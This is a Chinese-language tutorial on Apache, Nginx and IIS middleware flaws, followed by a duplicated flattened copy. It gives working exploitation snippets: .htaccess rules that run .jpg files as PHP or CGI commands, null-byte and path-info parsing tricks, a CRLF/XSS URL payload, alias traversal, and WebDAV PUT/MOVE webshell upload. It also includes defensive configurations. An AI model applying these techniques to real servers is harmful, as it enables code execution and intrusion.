apache nginx iis中间件漏洞
字数 1469 2025-08-10 08:28:21

Apache、Nginx、IIS中间件漏洞详解

一、Apache中间件漏洞

1. PHP运行模式

Apache中PHP常见运行方式:

  • 模块模式

    • mod_php:Apache内置PHP模块,将PHP作为子模块运行
    • mod_cgi/mod_fcgid:使用CGI或Fast-CGI实现
  • CGI模式

    • 每次请求都有启动和退出过程,性能较差
    • Fast-CGI解决CGI性能问题,预先启动多个解释器进程

2. 文件解析漏洞

多后缀解析

  • 配置方式:
    AddHandler php5-script .jpg
    AddType application/x-httpd-php .jpg
    
  • 可解析的后缀:.php, .php3, .php4, .php5, .pht, .phtml

.htaccess利用

生效条件:CGI/FastCGI模式(在phpinfo中的Server API查看)

配置方式

  1. 将jpg解析为php:

    AddHandler fcgid-script .jpg
    FcgidWrapper "php-cgi路径" .jpg
    
  2. 命令执行:

    Options +ExecCGI
    AddHandler cgi-script .jpg
    

    配合文件内容:

    #!cmd路径 /c start notepad
    test
    
  3. 直接执行命令:

    AddHandler fcgid-script .jpg
    FcgidWrapper "cmd路径 /c start calc.exe" .jpg
    
  4. 目录下所有文件视为CGI:

    SetHandler cgi-script
    

其他利用方式

  • 文件包含

    php_value auto_prepend_file "test.jpg"  # 文件开始插入
    php_value auto_append_file "test.jpg"   # 文件结束插入
    

    可使用伪协议:

    php_value auto_prepend_file php://filter/convert.base64-decode/resource=test.jpg
    
  • 绕过preg_match

    php_value pcre.backtrack_limit 0
    php_value pcre.jit 0
    
  • 反斜线绕过

    SetHa\
    ndler appli\
    cation/x-ht\
    tpd-php
    

3. 防御措施

  • 修改匹配规则:
    <FileMatch ".+\.php$">
      SetHandler application/x-httpd-php
    </FileMatch>
    
  • 禁止特殊后缀:
    <FileMatch ".+\.ph(p[3457]?|t|tml)\.">
      Require all denied
    </FileMatch>
    

二、Nginx中间件漏洞

1. 文件名解析漏洞

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

利用方式

  • 上传1.jpg (空格结尾)
  • 访问1.jpg[0x20][0x00].php

2. 文件后缀解析

利用条件

  1. 关闭security.limit_extensions或添加.jpg
  2. php.ini中设置cgi.fix_pathinfo=1

利用方式
访问test.jpg/x.php(x随意)

3. CRLF注入

错误配置

location / {
    return 302 https://$host$uri;
}

利用方式
访问/%0d%0a%0d%0a<script>alert(1)</script>

4. 目录穿越

错误配置

location /files {
    autoindex on;
    alias /home/;
}

利用方式
访问files../

5. add_header覆盖

错误配置
子块中的add_header会覆盖父块配置

三、IIS中间件漏洞

1. CVE-2017-7269

影响版本:IIS 6.0(开启WebDAV)

利用方式

  1. 使用Metasploit模块
  2. 需要设置PhysicalPathLength(如c:\inetpub\wwwroot\为19)

2. PUT漏洞

条件

  • IIS 6.0
  • 开启WebDAV和来宾用户写权限

利用步骤

  1. PUT上传txt文件
  2. MOVE修改为asp文件

3. 短文件名猜测

影响版本:IIS 1.0-7.5(使用.Net Framework 4时不受影响)

原理

  • 访问存在的短文件名返回404,不存在的返回400
  • 只能猜解前6字符和后缀3字符

4. 后缀解析漏洞

可解析后缀.cer, .asa, .cdx(部分版本仅.cer

其他利用

  • xxx.asp/目录下所有文件按ASP解析
  • ;截断:xxx.asp;.txt

5. PHP解析漏洞

利用方式

  • 类似Nginx,访问test.jpg/.php
  • 需要cgi.fix_pathinfo=1

四、防御建议

Apache防御:

  1. 严格限制文件解析规则
  2. 禁用不必要的CGI执行
  3. 限制.htaccess使用

Nginx防御:

  1. 关闭cgi.fix_pathinfo
  2. 配置security.limit_extensions
  3. 避免使用不安全的跳转

IIS防御:

  1. 及时安装补丁
  2. 关闭WebDAV
  3. 禁用短文件名
  4. 限制可执行文件类型
Apache、Nginx、IIS中间件漏洞详解 一、Apache中间件漏洞 1. PHP运行模式 Apache中PHP常见运行方式: 模块模式 : mod_ php:Apache内置PHP模块,将PHP作为子模块运行 mod_ cgi/mod_ fcgid:使用CGI或Fast-CGI实现 CGI模式 : 每次请求都有启动和退出过程,性能较差 Fast-CGI解决CGI性能问题,预先启动多个解释器进程 2. 文件解析漏洞 多后缀解析 配置方式: 可解析的后缀: .php , .php3 , .php4 , .php5 , .pht , .phtml .htaccess利用 生效条件 :CGI/FastCGI模式(在phpinfo中的Server API查看) 配置方式 : 将jpg解析为php: 命令执行: 配合文件内容: 直接执行命令: 目录下所有文件视为CGI: 其他利用方式 文件包含 : 可使用伪协议: 绕过preg_ match : 反斜线绕过 : 3. 防御措施 修改匹配规则: 禁止特殊后缀: 二、Nginx中间件漏洞 1. 文件名解析漏洞 影响版本 :Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7 利用方式 : 上传 1.jpg (空格结尾) 访问 1.jpg[0x20][0x00].php 2. 文件后缀解析 利用条件 : 关闭 security.limit_extensions 或添加 .jpg php.ini 中设置 cgi.fix_pathinfo=1 利用方式 : 访问 test.jpg/x.php (x随意) 3. CRLF注入 错误配置 : 利用方式 : 访问 /%0d%0a%0d%0a<script>alert(1)</script> 4. 目录穿越 错误配置 : 利用方式 : 访问 files../ 5. add_ header覆盖 错误配置 : 子块中的 add_header 会覆盖父块配置 三、IIS中间件漏洞 1. CVE-2017-7269 影响版本 :IIS 6.0(开启WebDAV) 利用方式 : 使用Metasploit模块 需要设置 PhysicalPathLength (如 c:\inetpub\wwwroot\ 为19) 2. PUT漏洞 条件 : IIS 6.0 开启WebDAV和来宾用户写权限 利用步骤 : PUT上传txt文件 MOVE修改为asp文件 3. 短文件名猜测 影响版本 :IIS 1.0-7.5(使用.Net Framework 4时不受影响) 原理 : 访问存在的短文件名返回404,不存在的返回400 只能猜解前6字符和后缀3字符 4. 后缀解析漏洞 可解析后缀 : .cer , .asa , .cdx (部分版本仅 .cer ) 其他利用 : xxx.asp/ 目录下所有文件按ASP解析 ; 截断: xxx.asp;.txt 5. PHP解析漏洞 利用方式 : 类似Nginx,访问 test.jpg/.php 需要 cgi.fix_pathinfo=1 四、防御建议 Apache防御: 严格限制文件解析规则 禁用不必要的CGI执行 限制.htaccess使用 Nginx防御: 关闭 cgi.fix_pathinfo 配置 security.limit_extensions 避免使用不安全的跳转 IIS防御: 及时安装补丁 关闭WebDAV 禁用短文件名 限制可执行文件类型